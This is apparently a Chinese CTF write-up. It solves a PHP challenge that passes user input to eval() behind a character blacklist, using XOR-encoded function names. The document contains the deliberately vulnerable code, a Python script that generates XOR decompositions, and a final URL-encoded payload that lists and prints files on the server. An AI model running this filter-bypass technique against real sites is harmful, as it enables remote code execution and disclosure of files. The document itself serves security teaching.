审计代码
<?php
highlight_file(__FILE__);
$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');
eval($_);
?>
就是不能包含一些字符,然后不能有13个种类的字符、
做题
我们先fuzz能用的
!#%()*+-/:;<=>?@ABCHIJKLMNQRTUVWXYZ]^abchijklmnqrtuvwxyz}~
无疑考虑取反和异或了,但是因为13个字符,我们选择异或,异或我们是可以用很多东西去拼筹的
下面先执行phpinfo();
可以执行命令的函数几乎都没有了,我们可以print_r(scandir('.'));去看我们的目录,我们可以发现有15种字符,我们利用异或的特性
def en(s):
return hex(ord(s) ^ 0xff)[2:]
p = list(set('printrscandir'))
for i in p:
for j in p:
for k in p:
for m in p:
if ord(j) ^ ord(k) ^ ord(m) == ord(i):
if(j == k or j == m or m == k):
continue
else:
print(i+'=='+j + '^' + k + '^'+m, end='\t')
print(
'{:0>2} => ["%{:0>2}^%{:0>2}^%{:0>2}"]'.format(
en(i), en(j), en(k), en(m)))
break
用脚本跑出替代的方法找只出现过一次的字符,比如t,我们可以用t==s^d^c %8b => %8c %9b %9c
下面就是经过替换查找
print_r=((%8f%9e%96%96%8c%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%9c%ff%9c%9c%ff%9c)^(%ff%8f%ff%9b%9b%ff%8f))//解释,因为%ff首先不影响我们的结果,只需要把异或扩展到三个异或,不变的位置用%ff替代
scandir=((%ff%ff%ff%ff%ff%ff%ff)^(%8c%9c%9e%96%9b%96%9e)^(%ff%ff%ff%9c%ff%ff%9c)^(%ff%ff%ff%9b%ff%ff%8f))
利用end即可
show_source(end(scandir(.)));同样的方法
?_=((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));